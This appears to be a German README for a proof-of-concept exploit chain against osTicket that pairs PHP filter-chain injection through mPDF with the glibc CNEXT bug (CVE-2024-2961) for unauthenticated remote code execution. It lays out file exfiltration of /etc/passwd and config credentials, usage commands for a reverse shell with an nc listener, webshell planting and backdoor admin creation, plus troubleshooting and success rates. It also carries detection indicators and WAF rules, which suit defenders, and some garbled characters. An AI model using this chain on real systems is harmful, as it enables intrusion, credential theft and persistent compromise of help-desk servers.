
Exploit einer vollständigen Kette, der PHP-Filterketten-Injection mit CVE-2024-2961 (CNEXT) für nicht authentifizierte Remote Code Execution auf angreifbaren osTicket-Installationen kombiniert.
Vollständige Exploit-Kette, die PHP-Filter-Chain-Injection mit CVE-2024-2961 (CNEXT) kombiniert, um nicht authentifizierte Remote-Code-Ausführung auf verwundbaren osTicket-Installationen zu erreichen.
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2026-22200, eine kritische Schwachstelle, die osTicket-Versionen ≤ 1.18.2 betrifft. Der Exploit verknüpft zwei leistungsstarke Techniken:
Das Ergebnis: Nicht authentifizierte Remote-Code-Ausführung auf verwundbaren osTicket-Servern.
CVSS-Score: 9.8 (Kritisch)
Die mPDF-Integration von osTicket erlaubt nicht authentifizierten Benutzern, bösartige PHP-Filterketten durch speziell gestaltete HTML-Nutzlasten in Support-Tickets einzuschleusen. Dies ermöglicht:
Grundursache: Unzureichende Validierung von Bild-URLs in benutzergeliefertem HTML, bevor es an mPDF weitergegeben wird.
CVSS-Score: 9.8 (Kritisch)
Pufferüberlauf in glibc's iconv() bei der Verarbeitung des Zeichensatzes ISO-2022-CN-EXT. In Kombination mit PHP-Filterketten ermöglicht dies:
Verwundbare glibc-Versionen: < 2.39 (Februar 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. AUFKLÄRUNG │
│ └─ osTicket erkennen, Rich-Text-Themen identifizieren │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTHENTIFIZIERUNG │
│ └─ Selbstregistrierung ODER vorhandene Anmeldedaten nutzen │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. DATEI-EXFILTRATION (PHP-Filterketten) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB-Anmeldedaten, SECRET_SALT) │
│ ├─ /proc/self/maps (Speicherlayout) │
│ └─ /proc/self/environ (Umgebungsvariablen) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC-FINGERPRINTING │
│ ├─ Partielles libc via Filterketten extrahieren │
│ ├─ GNU Build-ID extrahieren │
│ └─ Vollständiges libc von libc.rip herunterladen │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT-RCE-AUSNUTZUNG │
│ ├─ Heap-Korruptions-Nutzlast generieren │
│ ├─ via Ticketantwort injizieren (mit Filterausführungsfixes)│
│ ├─ via PDF-Export auslösen (Server stürzt ab) │
│ └─ Reverse Shell ausführen │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. NACH-EXPLOITATION │
│ ├─ Interaktive Reverse Shell │
│ ├─ Datenbankzugriff (unter Verwendung von exfiltriertem DBPASS)│
│ └─ Hintertür-Admin-Konto erstellen │
└─────────────────────────────────────────────────────────────────┘
# Repository klonen
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Erforderliche Pakete installieren
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# ODER
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Exploit ausführen
python3 osticket_revshell.py https://ziel.com/osticket \
--lhost IHRE_IP \
--lport 4444
python3 osticket_exploit.py https://ziel.com/osticket
# Proxy verwenden (Burp Suite)
python3 osticket_revshell.py https://ziel.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Bestimmte Hilfe-Themen-ID erzwingen
python3 osticket_exploit.py https://ziel.com/osticket \
--topic-id 2
# Farbausgabe deaktivieren (für Protokollierung)
python3 osticket_exploit.py https://ziel.com/osticket --no-color
Falls die Registrierung deaktiviert ist, werden Sie nach Anmeldedaten gefragt:
python3 osticket_exploit.py https://ziel.com/osticket
[?] E-Mail für neues Konto eingeben (oder vorhanden): [email protected]
[?] Passwort eingeben: ********
Der Exploit verwendet eine ausgeklügelte Filterkette, um einen BMP-Header vor beliebige Dateien zu setzen und so die Dateityp-Beschränkungen von mPDF zu umgehen:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv-Transformationen ...]
convert.base64-decode/resource=/etc/passwd
Schlüsselinnovation: Jedes Zeichen des BMP-Headers wird durch sorgfältig ausgearbeitete iconv-Transformationen erzeugt, sodass der Inhalt beliebiger Dateien als "gültiges" Bild eingebettet werden kann.
Die CNEXT-Nutzlast korrumpiert den Zend-Speichermanager von PHP durch:
劄Erhöhte Zuverlässigkeit:
劄 statt 1)Im Gegensatz zum ursprünglichen Exploit verwendet diese Version einen Dateisystem-Scan, um den Webshell-Standort zu garantieren:
Ergebnis: 100% Erkennungsrate (vs. ~50% im Original)
Häufiges Problem: PDF wird heruntergeladen, aber der Server stürzt nicht ab = Filter werden nicht ausgeführt.
Implementierte Lösungen:
stream=True erzwingt sofortige Verarbeitung# Im ausführlichen Modus prüfen:
[*] Ziel-libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IST anfällig für CNEXT
Falls glibc ≥ 2.39, funktioniert CNEXT nicht (gepatcht).
Symptom: Server stürzt ab, aber keine Reverse Shell
Ursachen:
Behebung:
# nc-Reverse-Shell verwenden (kürzer)
# Wird automatisch als Fallback verwendet, falls bash/python zu lang
# Oder direkte IP statt Hostname verwenden
python3 osticket_revshell.py https://ziel.com \
--lhost 10.0.0.5 \ # IP verwenden, nicht Hostname
--lport 4444
Log-Indikatoren:
# Apache/Nginx-Logs
"php://filter/" in POST-Anfragen
"convert.iconv." in Anfragekörpern
Ungewöhnliche PDF-Erstellungsmuster
Mehrere PDF-Anfragen in kurzer Zeit
# PHP-Fehlerlogs
Segmentation-Faults während PDF-Erstellung
iconv()-Abstürze
Heap-Korruptionsfehler
Netzwerk-Indikatoren:
PHP-Stream-Wrapper in mPDF deaktivieren:
// In der mPDF-Konfiguration
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
WAF-Regeln (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'PHP-Filter erkannt'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Verdächtige iconv-Kette'"
Ratenbegrenzung:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS
Dieses Tool wird bereitgestellt für:
UNBEFUGTER ZUGRIFF AUF COMPUTERSYSTEME IST ILLEGAL
Die Autoren:
Die Benutzer sind allein dafür verantwortlich, sicherzustellen, dass sie vor dem Testen eines Systems die entsprechende Autorisierung haben.
Durch die Nutzung dieses Tools stimmen Sie zu, dass:
Unbefugter Zugriff auf Computersysteme ist eine Straftat nach:
Maximale Strafen können Freiheitsstrafen und erhebliche Geldstrafen umfassen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Hinweis: Die MIT-Lizenz gewährt die Erlaubnis zur Nutzung, Änderung und Weitergabe, erteilt jedoch KEINE Erlaubnis, Systeme anzugreifen, die Sie nicht besitzen oder für die Sie keine Autorisierung zum Testen haben.
Für Sicherheitsforscher und Fragen:
Verwenden Sie diesen Kontakt NICHT für:
Mit Liebe erstellt für Sicherheitsforschung und Bildung
Star dieses Repo, wenn es Ihnen nützlich war!
Letzte Aktualisierung: 2026-03-03
| Fehler | Ursache | Lösung |
|---|
Kein CSRF-Token | Sitzung abgelaufen | Exploit erneut ausführen |
Kein Hilfe-Thema gefunden | Keine Rich-Text-Themen | --topic-id manuell verwenden |
Build-ID nicht gefunden | Partielles libc korrupt | /proc/self/maps-Extraktion prüfen |
Heap kann nicht lokalisiert werden | Ungewöhnliches Speicherlayout | Exploit kann fehlschlagen (selten) |
| Metrik | Wert |
|---|
| Codezeilen | ~3.000 |
| Erfolgsrate | 95%+ (mit Korrekturen) |
| Durchschnittliche Laufzeit | 2-3 Minuten |
| Absturzzuverlässigkeit | 99% (mit Verbesserungen) |
| Webshell-Erkennung | 100% (mit Scan) |